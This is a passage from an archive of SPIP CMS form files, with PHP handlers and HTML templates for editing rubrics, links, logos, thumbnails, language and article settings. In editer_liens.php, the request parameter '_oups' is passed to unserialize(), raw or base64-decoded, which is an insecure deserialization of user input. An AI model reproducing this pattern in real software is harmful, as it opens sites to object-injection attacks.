reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] [(#ENV{editable}) <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <div class="editer-groupe"> <div class="editer editer_titre obligatoire[ (#ENV**{erreurs}|table_valeur{titre}|oui)erreur]"> <label for="titre"><:info_titre:><em class="aide">#AIDER{titre}</em></label>[ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{titre})</span> ]<input type='text' class='text' name='titre' id='titre' value="[(#ENV**{titre,''})]" placeholder="<:titre_nouvelle_rubrique|attribut_html:>" /> </div> [<div class="editer editer_parent[ (#ENV**{erreurs}|table_valeur{id_parent}|oui)erreur]"> <label for="id_parent"><:titre_cadre_interieur_rubrique:><em class="aide">#AIDER{id_parent}</em></label>[ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{id_parent})</span> ] (#VAL|chercher_rubrique{[(#ENV{id_rubrique}|intval)],#ENV{id_parent},'rubrique',#ENV{id_secteur},#ENV**{config}|table_valeur{restreint},0,form_simple}) </div>] [(#ENV**{config}|table_valeur{rubriques_descriptif}|=={non}|?{#ENV**{descriptif,''},' '}|?{' '}) <div class="editer editer_descriptif[ (#ENV**{erreurs}|table_valeur{descriptif}|oui)erreur]"> <label for="descriptif"><:texte_descriptif_rapide:></label><div class='explication'><:entree_contenu_rubrique:></div>[ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{descriptif})</span> ]<textarea name='descriptif' id='descriptif' rows='2' cols='40'>[(#ENV**{descriptif})]</textarea> </div>] [(#ENV**{config}|table_valeur{rubriques_texte}|=={non}|?{#ENV**{texte,''},' '}|?{' '}) <div class="editer editer_texte[ (#ENV**{erreurs}|table_valeur{texte}|oui)erreur]"> <label for="text_area"><:info_texte_explicatif:><em class="aide">#AIDER{text_area}</em></label>[ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{texte})</span> ][(#ENV**{_texte_trop_long,''}) ]<textarea name='texte' id='text_area' rows='[(#ENV**{config}|table_valeur{lignes}|plus{2})]' cols='40'>[(#ENV**{texte})]</textarea> </div>] </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> <p class="boutons"><input type='submit' class='submit' value='<:bouton_enregistrer:>' /></p> </div></form> ] </div> editer_liens.php000060400000035324152526232120007726 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion du formulaire d'édition de liens * * @package SPIP\Core\Formulaires **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Retrouve la source et l'objet de la liaison * * À partir des 3 premiers paramètres transmis au formulaire, * la fonction retrouve : * - l'objet dont on utilise sa table de liaison (table_source) * - l'objet et id_objet sur qui on lie des éléments (objet, id_objet) * - l'objet que l'on veut lier dessus (objet_lien) * * @param string $a * @param string|int $b * @param int|string $c * @return array * ($table_source,$objet,$id_objet,$objet_lien) */ function determine_source_lien_objet($a, $b, $c) { $table_source = $objet_lien = $objet = $id_objet = null; // auteurs, article, 23 : // associer des auteurs à l'article 23, sur la table pivot spip_auteurs_liens if (is_numeric($c) and !is_numeric($b)) { $table_source = table_objet($a); $objet_lien = objet_type($a); $objet = objet_type($b); $id_objet = $c; } // article, 23, auteurs // associer des auteurs à l'article 23, sur la table pivot spip_articles_liens if (is_numeric($b) and !is_numeric($c)) { $table_source = table_objet($c); $objet_lien = objet_type($a); $objet = objet_type($a); $id_objet = $b; } return array($table_source, $objet, $id_objet, $objet_lien); } /** * Chargement du formulaire d'édition de liens * * #FORMULAIRE_EDITER_LIENS{auteurs,article,23} * pour associer des auteurs à l'article 23, sur la table pivot spip_auteurs_liens * #FORMULAIRE_EDITER_LIENS{article,23,auteurs} * pour associer des auteurs à l'article 23, sur la table pivot spip_articles_liens * #FORMULAIRE_EDITER_LIENS{articles,auteur,12} * pour associer des articles à l'auteur 12, sur la table pivot spip_articles_liens * #FORMULAIRE_EDITER_LIENS{auteur,12,articles} * pour associer des articles à l'auteur 12, sur la table pivot spip_auteurs_liens * * @param string $a * @param string|int $b * @param int|string $c * @param array|bool $options * - Si array, tableau d'options * - Si bool : valeur de l'option 'editable' uniquement * * @return array */ function formulaires_editer_liens_charger_dist($a, $b, $c, $options = array()) { // compat avec ancienne signature ou le 4eme argument est $editable if (!is_array($options)) { $options = array('editable' => $options); } elseif (!isset($options['editable'])) { $options['editable'] = true; } $editable = $options['editable']; list($table_source, $objet, $id_objet, $objet_lien) = determine_source_lien_objet($a, $b, $c); if (!$table_source or !$objet or !$objet_lien or !$id_objet) { return false; } $objet_source = objet_type($table_source); $table_sql_source = table_objet_sql($objet_source); // verifier existence de la table xxx_liens include_spip('action/editer_liens'); if (!objet_associable($objet_lien)) { return false; } // L'éditabilité :) est définie par un test permanent (par exemple "associermots") ET le 4ème argument include_spip('inc/autoriser'); $editable = ($editable and autoriser('associer' . $table_source, $objet, $id_objet) and autoriser('modifier', $objet, $id_objet)); if (!$editable and !count(objet_trouver_liens( array($objet_lien => '*'), array(($objet_lien == $objet_source ? $objet : $objet_source) => $id_objet) ))) { return false; } // squelettes de vue et de d'association // ils sont différents si des rôles sont définis. $skel_vue = $table_source . '_lies'; $skel_ajout = $table_source . '_associer'; // description des roles include_spip('inc/roles'); if ($roles = roles_presents($objet_source, $objet)) { // on demande de nouveaux squelettes en conséquence $skel_vue = $table_source . '_roles_lies'; $skel_ajout = $table_source . '_roles_associer'; } $oups = _request('_oups'); if (unserialize(base64_decode($oups))) { // on est bon, rien a faire } elseif(unserialize($oups)) { // il faut encoder $oups = base64_encode($oups); } else { $oups = ''; } $valeurs = array( 'id' => "$table_source-$objet-$id_objet-$objet_lien", // identifiant unique pour les id du form '_vue_liee' => $skel_vue, '_vue_ajout' => $skel_ajout, '_objet_lien' => $objet_lien, 'id_lien_ajoute' => _request('id_lien_ajoute'), 'objet' => $objet, 'id_objet' => $id_objet, 'objet_source' => $objet_source, 'table_source' => $table_source, 'recherche' => '', 'visible' => 0, 'ajouter_lien' => '', 'supprimer_lien' => '', 'qualifier_lien' => '', '_roles' => $roles, # description des roles '_oups' => $oups, 'editable' => $editable, ); // les options non definies dans $valeurs sont passees telles quelles au formulaire html $valeurs = array_merge($options, $valeurs); return $valeurs; } /** * Traiter le post des informations d'édition de liens * * Les formulaires peuvent poster dans quatre variables * - ajouter_lien et supprimer_lien * - remplacer_lien * - qualifier_lien * * Les deux premières peuvent être de trois formes différentes : * ajouter_lien[]="objet1-id1-objet2-id2" * ajouter_lien[objet1-id1-objet2-id2]="nimportequoi" * ajouter_lien['clenonnumerique']="objet1-id1-objet2-id2" * Dans ce dernier cas, la valeur ne sera prise en compte * que si _request('clenonnumerique') est vrai (submit associé a l'input) * * remplacer_lien doit être de la forme * remplacer_lien[objet1-id1-objet2-id2]="objet3-id3-objet2-id2" * ou objet1-id1 est celui qu'on enleve et objet3-id3 celui qu'on ajoute * * qualifier_lien doit être de la forme, et sert en complément de ajouter_lien * qualifier_lien[objet1-id1-objet2-id2][role] = array("role1", "autre_role") * qualifier_lien[objet1-id1-objet2-id2][valeur] = array("truc", "chose") * produira 2 liens chacun avec array("role"=>"role1","valeur"=>"truc") et array("role"=>"autre_role","valeur"=>"chose") * * @param string $a * @param string|int $b * @param int|string $c * @param array|bool $options * - Si array, tableau d'options * - Si bool : valeur de l'option 'editable' uniquement * * @return array */ function formulaires_editer_liens_traiter_dist($a, $b, $c, $options = array()) { // compat avec ancienne signature ou le 4eme argument est $editable if (!is_array($options)) { $options = array('editable' => $options); } elseif (!isset($options['editable'])) { $options['editable'] = true; } $editable = $options['editable']; $res = array('editable' => $editable ? true : false); list($table_source, $objet, $id_objet, $objet_lien) = determine_source_lien_objet($a, $b, $c); if (!$table_source or !$objet or !$objet_lien) { return $res; } if (_request('tout_voir')) { set_request('recherche', ''); } include_spip('inc/autoriser'); if (autoriser('modifier', $objet, $id_objet)) { // annuler les suppressions du coup d'avant ! if (_request('annuler_oups') and $oups = _request('_oups') and $oups = base64_decode($oups) and $oups = unserialize($oups) ) { if ($oups_objets = charger_fonction("editer_liens_oups_{$table_source}_{$objet}_{$objet_lien}", 'action', true)) { $oups_objets($oups); } else { $objet_source = objet_type($table_source); include_spip('action/editer_liens'); foreach ($oups as $oup) { if ($objet_lien == $objet_source) { objet_associer(array($objet_source => $oup[$objet_source]), array($objet => $oup[$objet]), $oup); } else { objet_associer(array($objet => $oup[$objet]), array($objet_source => $oup[$objet_source]), $oup); } } } # oups ne persiste que pour la derniere action, si suppression set_request('_oups'); } $supprimer = _request('supprimer_lien'); $ajouter = _request('ajouter_lien'); // il est possible de preciser dans une seule variable un remplacement : // remplacer_lien[old][new] if ($remplacer = _request('remplacer_lien')) { foreach ($remplacer as $k => $v) { if ($old = lien_verifier_action($k, '')) { foreach (is_array($v) ? $v : array($v) as $kn => $vn) { if ($new = lien_verifier_action($kn, $vn)) { $supprimer[$old] = 'x'; $ajouter[$new] = '+'; } } } } } if ($supprimer) { if ($supprimer_objets = charger_fonction( "editer_liens_supprimer_{$table_source}_{$objet}_{$objet_lien}", 'action', true )) { $oups = $supprimer_objets($supprimer); } else { include_spip('action/editer_liens'); $oups = array(); foreach ($supprimer as $k => $v) { if ($lien = lien_verifier_action($k, $v)) { $lien = explode('-', $lien); list($objet_source, $ids, $objet_lie, $idl, $role) = $lien; // appliquer une condition sur le rôle si défini ('*' pour tous les roles) $cond = (!is_null($role) ? array('role' => $role) : array()); if ($objet_lien == $objet_source) { $oups = array_merge( $oups, objet_trouver_liens(array($objet_source => $ids), array($objet_lie => $idl), $cond) ); objet_dissocier(array($objet_source => $ids), array($objet_lie => $idl), $cond); } else { $oups = array_merge( $oups, objet_trouver_liens(array($objet_lie => $idl), array($objet_source => $ids), $cond) ); objet_dissocier(array($objet_lie => $idl), array($objet_source => $ids), $cond); } } } } set_request('_oups', $oups ? base64_encode(serialize($oups)) : null); } if ($ajouter) { if ($ajouter_objets = charger_fonction("editer_liens_ajouter_{$table_source}_{$objet}_{$objet_lien}", 'action', true) ) { $ajout_ok = $ajouter_objets($ajouter); } else { $ajout_ok = false; include_spip('action/editer_liens'); foreach ($ajouter as $k => $v) { if ($lien = lien_verifier_action($k, $v)) { $ajout_ok = true; list($objet1, $ids, $objet2, $idl) = explode('-', $lien); $qualifs = lien_retrouver_qualif($objet_lien, $lien); if ($objet_lien == $objet1) { lien_ajouter_liaisons($objet1, $ids, $objet2, $idl, $qualifs); } else { lien_ajouter_liaisons($objet2, $idl, $objet1, $ids, $qualifs); } set_request('id_lien_ajoute', $ids); } } } # oups ne persiste que pour la derniere action, si suppression # une suppression suivie d'un ajout dans le meme hit est un remplacement # non annulable ! if ($ajout_ok) { set_request('_oups'); } } } return $res; } /** * Retrouver l'action de liaision demandée * * Les formulaires envoient une action dans un tableau ajouter_lien * ou supprimer_lien * * L'action est de la forme : objet1-id1-objet2-id2 * ou de la forme : objet1-id1-objet2-id2-role * * L'action peut-être indiquée dans la clé ou dans la valeur. * Si elle est indiquee dans la valeur et que la clé est non numérique, * on ne la prend en compte que si un submit avec la clé a été envoyé * * @internal * @param string $k Clé du tableau * @param string $v Valeur du tableau * @return string Action demandée si trouvée, sinon '' */ function lien_verifier_action($k, $v) { $action = ''; if (preg_match(',^\w+-[\w*]+-[\w*]+-[\w*]+(-[\w*])?,', $k)) { $action = $k; } if (preg_match(',^\w+-[\w*]+-[\w*]+-[\w*]+(-[\w*])?,', $v)) { if (is_numeric($k)) { $action = $v; } if (_request($k)) { $action = $v; } } // ajout un role null fictif (plus pratique) si pas défini if ($action and count(explode('-', $action)) == 4) { $action .= '-'; } return $action; } /** * Retrouve le ou les qualificatifs postés avec une liaison demandée * * @internal * @param string $objet_lien * objet qui porte le lien * @param string $lien * Action du lien * @return array * Liste des qualifs pour chaque lien. Tableau vide s'il n'y en a pas. **/ function lien_retrouver_qualif($objet_lien, $lien) { // un role est défini dans la liaison $defs = explode('-', $lien); list($objet1, , $objet2, , $role) = $defs; if ($objet_lien == $objet1) { $colonne_role = roles_colonne($objet1, $objet2); } else { $colonne_role = roles_colonne($objet2, $objet1); } // cas ou le role est defini en 5e argument de l'action sur le lien (suppression, ajout rapide sans autre attribut) if ($role) { return array( // un seul lien avec ce role array($colonne_role => $role) ); } // retrouver les rôles postés pour cette liaison, s'il y en a. $qualifier_lien = _request('qualifier_lien'); if (!$qualifier_lien or !is_array($qualifier_lien)) { return array(); } // pas avec l'action complete (incluant le role) $qualif = array(); if ((!isset($qualifier_lien[$lien]) or !$qualif = $qualifier_lien[$lien]) and count($defs) == 5 ) { // on tente avec l'action sans le role array_pop($defs); $lien = implode('-', $defs); if (!isset($qualifier_lien[$lien]) or !$qualif = $qualifier_lien[$lien]) { $qualif = array(); } } // $qualif de la forme array(role=>array(...),valeur=>array(...),....) // on le reforme en array(array(role=>..,valeur=>..,..),array(role=>..,valeur=>..,..),...) $qualifs = array(); while (count($qualif)) { $q = array(); foreach ($qualif as $att => $values) { if (is_array($values)) { $q[$att] = array_shift($qualif[$att]); if (!count($qualif[$att])) { unset($qualif[$att]); } } else { $q[$att] = $values; unset($qualif[$att]); } } // pas de rôle vide if (!$colonne_role or !isset($q[$colonne_role]) or $q[$colonne_role]) { $qualifs[] = $q; } } return $qualifs; } /** * Ajoute les liens demandés en prenant éventuellement en compte le rôle * * Appelle la fonction objet_associer. L'appelle autant de fois qu'il y * a de rôles demandés pour cette liaison. * * @internal * @param string $objet_source Objet source de la liaison (qui a la table de liaison) * @param array|string $ids Identifiants pour l'objet source * @param string $objet_lien Objet à lier * @param array|string $idl Identifiants pour l'objet lié * @param array $qualifs * @return void **/ function lien_ajouter_liaisons($objet_source, $ids, $objet_lien, $idl, $qualifs) { // retrouver la colonne de roles s'il y en a a lier if (is_array($qualifs) and count($qualifs)) { foreach ($qualifs as $qualif) { objet_associer(array($objet_source => $ids), array($objet_lien => $idl), $qualif); } } else { objet_associer(array($objet_source => $ids), array($objet_lien => $idl)); } } configurer_avertisseur.php000060400000002415152526232120012052 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/presentation'); function formulaires_configurer_avertisseur_charger_dist() { $valeurs = array(); foreach (array( 'articles_modif', ) as $m) { $valeurs[$m] = $GLOBALS['meta'][$m]; } return $valeurs; } function formulaires_configurer_avertisseur_traiter_dist() { $res = array('editable' => true); foreach (array( 'articles_modif', ) as $m) { if (!is_null($v = _request($m))) { ecrire_meta($m, $v == 'oui' ? 'oui' : 'non'); } } $res['message_ok'] = _T('config_info_enregistree'); return $res; } configurer_logos.html000060400000004557152526232120011007 0ustar00<div class="formulaire_spip formulaire_configurer formulaire_#FORM formulaire_#FORM-#ENV{id,nouveau}"> <h3 class='titrem'><img src="#CHEMIN_IMAGE{image-24.png}" class="cadre-icone" /><:info_logos:></h3> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV*{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] [(#ENV{editable}) <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <div class="editer-groupe"> #SET{name,activer_logos}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer long_label editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:config_info_logos:>#AIDER{logoart}</label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_oui" value="oui" [(#ENV{#GET{name}}|=={oui}|oui)checked="checked"] /><label for="#GET{name}_oui"><:config_info_logos_utiliser:></label> </div> <div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_non" value="non" [(#ENV{#GET{name}}|=={oui}|non)checked="checked"] /><label for="#GET{name}_non"><:config_info_logos_utiliser_non:></label> </div> </div> #SET{name,activer_logos_survol}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer long_label editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> [ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_oui" value="oui" [(#ENV{#GET{name}}|=={oui}|oui)checked="checked"] /><label for="#GET{name}_oui"><:config_info_logos_utiliser_survol:></label> </div> <div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_non" value="non" [(#ENV{#GET{name}}|=={oui}|non)checked="checked"] /><label for="#GET{name}_non"><:config_info_logos_utiliser_survol_non:></label> </div> </div> </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> <p class='boutons'><span class='image_loading'> </span><input type='submit' class='submit' value='<:bouton_enregistrer:>' /></p> </div></form> ] </div> configurer_reducteur.html000060400000012130152526232120011650 0ustar00<div class="formulaire_spip formulaire_configurer formulaire_#FORM formulaire_#FORM-#ENV{id,nouveau}"> <h3 class='titrem'><img src="#CHEMIN_IMAGE{image-24.png}" class="cadre-icone" /><:info_generation_miniatures_images:></h3> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV*{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] [(#ENV{editable}) <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <input type='submit' class='submit' value='<:bouton_enregistrer:>' style="display:none;"/> <div class="editer-groupe"> #SET{name,image_process}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer haut editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:info_image_process:>#AIDER{logoart}</label>[ <span class='erreur_message'>(#GET{erreurs})</span> ] <div class="vignettes_reducteur clearfix"> #SET{process,gd1} [<button type="submit" class="vignette_reducteur[(#ENV{image_process}|=={#GET{process}}|oui)on]" style="background-image:url((#GET{process}|url_vignette_choix));" name="image_process_\[#GET{process}\]"> [(#GET{process}|strtoupper)] </button>] #SET{process,gd2} [<button type="submit" class="vignette_reducteur[(#ENV{image_process}|=={#GET{process}}|oui)on]" style="background-image:url((#GET{process}|url_vignette_choix));" name="image_process_\[#GET{process}\]"> [(#GET{process}|strtoupper)] </button>] #SET{process,netpbm} [<button type="submit" class="vignette_reducteur[(#ENV{image_process}|=={#GET{process}}|oui)on]" style="background-image:url((#GET{process}|url_vignette_choix));" name="image_process_\[#GET{process}\]"> [(#GET{process}|strtoupper)] </button>] #SET{process,imagick} [<button type="submit" class="vignette_reducteur[(#ENV{image_process}|=={#GET{process}}|oui)on]" style="background-image:url((#GET{process}|url_vignette_choix));" name="image_process_\[#GET{process}\]"> [(#GET{process}|strtoupper)] </button>] #SET{process,convert} [<button type="submit" class="vignette_reducteur[(#ENV{image_process}|=={#GET{process}}|oui)on]" style="background-image:url((#GET{process}|url_vignette_choix));" name="image_process_\[#GET{process}\]"> [(#GET{process}|strtoupper)] </button>] </div> <p class="explication"><:info_image_process2:></p> </div> [(#ENV{image_process}|match{^(gd1|gd2)$}|oui) #SET{name,max_taille_vignettes}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer long_label editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:info_taille_maximale_images:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<iframe style='border:0;height:3em;overflow:hidden;' src='[(#SELF|parametre_url{action,tester_taille}|parametre_url{arg,6000}||parametre_url{time,#EVAL{time()}})]'></iframe> </div> ][(#ENV{formats_graphiques}|oui) <div class="editer fieldset"> <fieldset><legend><:info_generation_miniatures_images:></legend> <p><:info_ajout_image:></p> <div class="editer-groupe"> #SET{name,creer_preview}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> [ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_non" value="non" onclick="$(this).blur();" onchange="if ($(this).prop('checked')) $('.editer_taille_preview').hide('fast');" [(#ENV{#GET{name}}|=={oui}|non)checked="checked"] /><label for="#GET{name}_non"><:item_choix_non_generation_miniature:></label> </div> <div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_oui" value="oui" onclick="$(this).blur();" onchange="if ($(this).prop('checked')) $('.editer_taille_preview').show('fast');" [(#ENV{#GET{name}}|=={oui}|oui)checked="checked"] /><label for="#GET{name}_oui"><:item_choix_generation_miniature:></label> </div> </div> #SET{name,taille_preview}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"[(#ENV{creer_preview}|=={oui}|non)style='display:none;']> <label for="#GET{name}"><:info_taille_maximale_vignette:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<input type='text' name='#GET{name}' id='#GET{name}' value='#ENV{#GET{name}}' /> </div> </div> </fieldset> </div> ] </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> <p class='boutons'><span class='image_loading'> </span><input type='submit' class='submit' value='<:bouton_enregistrer:>' /></p> </div></form> ] </div>configurer_langage.php000060400000003633152526232120011077 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } function formulaires_configurer_langage_charger_dist() { include_spip('inc/lang'); $GLOBALS['meta']['langues_proposees'] = ''; init_langues(); $langues = explode(',', $GLOBALS['meta']['langues_proposees']); $valeurs = array( 'var_lang_ecrire' => $GLOBALS['spip_lang'], '_langues' => $langues ); return $valeurs; } function formulaires_configurer_langage_traiter_dist() { include_spip('action/converser'); action_converser_changer_langue(true); refuser_traiter_formulaire_ajax(); // on ne peut pas changer la langue pour tout le hit ici, // car CVT repasse derriere et retablit la langue avant l'appel a traiter() // il faut rediriger ! return array('message_ok' => _T('config_info_enregistree'), 'editable' => true, 'redirect' => self()); } function afficher_langues_choix($langues, $name, $id, $selected) { include_spip('inc/lang'); $ret = ''; sort($langues); foreach ($langues as $l) { $checked = ($l == $selected) ? ' checked=\'checked\'' : ''; $ret .= "<div class='choix'>" . "<input type='radio' name='$name' id='{$id}_$l' value='$l'$checked />" . "<label for='{$id}_$l'>" . traduire_nom_langue($l) . '</label>' . '</div>'; } return $ret; } rediriger_article.php000060400000004417152526232120010736 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } function formulaires_rediriger_article_charger_dist($id_article, $retour = '') { include_spip('inc/autoriser'); if (!autoriser('modifier', 'article', $id_article)) { return false; } $row = sql_fetsel('id_article,virtuel', 'spip_articles', 'id_article=' . intval($id_article)); if (!$row['id_article']) { return false; } include_spip('inc/lien'); $redirection = virtuel_redirige($row['virtuel']); if (!$redirection and $GLOBALS['meta']['articles_redirection'] != 'oui' ) { return false; } include_spip('inc/texte'); $valeurs = array( 'redirection' => $redirection, 'id' => $id_article, '_afficher_url' => ($redirection ? propre("[->$redirection]") : ''), ); return $valeurs; } function formulaires_rediriger_article_verifier_dist($id_article, $retour = '') { $erreurs = array(); if (($redirection = _request('redirection')) == $id_article || $redirection == 'art' . $id_article) { $erreurs['redirection'] = _T('info_redirection_boucle'); } return $erreurs; } function formulaires_rediriger_article_traiter_dist($id_article, $retour = '') { $url = preg_replace(',^\s*https?://$,i', '', rtrim(_request('redirection'))); if ($url) { $url = corriger_caracteres($url); } include_spip('action/editer_article'); articles_set($id_article, array('virtuel' => $url)); $js = _AJAX ? '<script type="text/javascript">if (window.ajaxReload) ajaxReload("wysiwyg");</script>' : ''; return array( 'message_ok' => ($url ? _T('info_redirection_activee') : _T('info_redirection_desactivee')) . $js, 'editable' => true ); } configurer_articles.html000060400000020771152526232120011466 0ustar00<div class="formulaire_spip formulaire_configurer formulaire_#FORM formulaire_#FORM-#ENV{id,nouveau}"> <h3 class='titrem'><img src="#CHEMIN_IMAGE{article-24.png}" class="cadre-icone" /><:titre_les_articles:></h3> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV*{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] [(#ENV{editable}) <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <fieldset><legend><:info_contenu_articles:>#AIDER{confart}</legend> <p><:texte_contenu_articles:></p> <div class="editer-groupe"> #SET{name,articles_surtitre}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer long_label editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:info_surtitre:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_oui" value="oui" [(#ENV{#GET{name}}|=={oui}|oui)checked="checked"] /><label for="#GET{name}_oui"><:item_oui:></label> <input type="radio" name="#GET{name}" id="#GET{name}_non" value="non" [(#ENV{#GET{name}}|=={oui}|non)checked="checked"] /><label for="#GET{name}_non"><:item_non:></label> </div> </div> #SET{name,articles_soustitre}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer long_label editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:info_sous_titre:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_oui" value="oui" [(#ENV{#GET{name}}|=={oui}|oui)checked="checked"] /><label for="#GET{name}_oui"><:item_oui:></label> <input type="radio" name="#GET{name}" id="#GET{name}_non" value="non" [(#ENV{#GET{name}}|=={oui}|non)checked="checked"] /><label for="#GET{name}_non"><:item_non:></label> </div> </div> #SET{name,articles_descriptif}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer long_label editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:info_descriptif:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_oui" value="oui" [(#ENV{#GET{name}}|=={oui}|oui)checked="checked"] /><label for="#GET{name}_oui"><:item_oui:></label> <input type="radio" name="#GET{name}" id="#GET{name}_non" value="non" [(#ENV{#GET{name}}|=={oui}|non)checked="checked"] /><label for="#GET{name}_non"><:item_non:></label> </div> </div> #SET{name,articles_chapeau}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer long_label editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:info_chapeau_2:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_oui" value="oui" [(#ENV{#GET{name}}|=={oui}|oui)checked="checked"] /><label for="#GET{name}_oui"><:item_oui:></label> <input type="radio" name="#GET{name}" id="#GET{name}_non" value="non" [(#ENV{#GET{name}}|=={oui}|non)checked="checked"] /><label for="#GET{name}_non"><:item_non:></label> </div> </div> #SET{name,articles_texte}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer long_label editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:info_texte:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_oui" value="oui" [(#ENV{#GET{name}}|=={oui}|oui)checked="checked"] /><label for="#GET{name}_oui"><:item_oui:></label> <input type="radio" name="#GET{name}" id="#GET{name}_non" value="non" [(#ENV{#GET{name}}|=={oui}|non)checked="checked"] /><label for="#GET{name}_non"><:item_non:></label> </div> </div> #SET{name,articles_ps}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer long_label editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:info_post_scriptum_2:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_oui" value="oui" [(#ENV{#GET{name}}|=={oui}|oui)checked="checked"] /><label for="#GET{name}_oui"><:item_oui:></label> <input type="radio" name="#GET{name}" 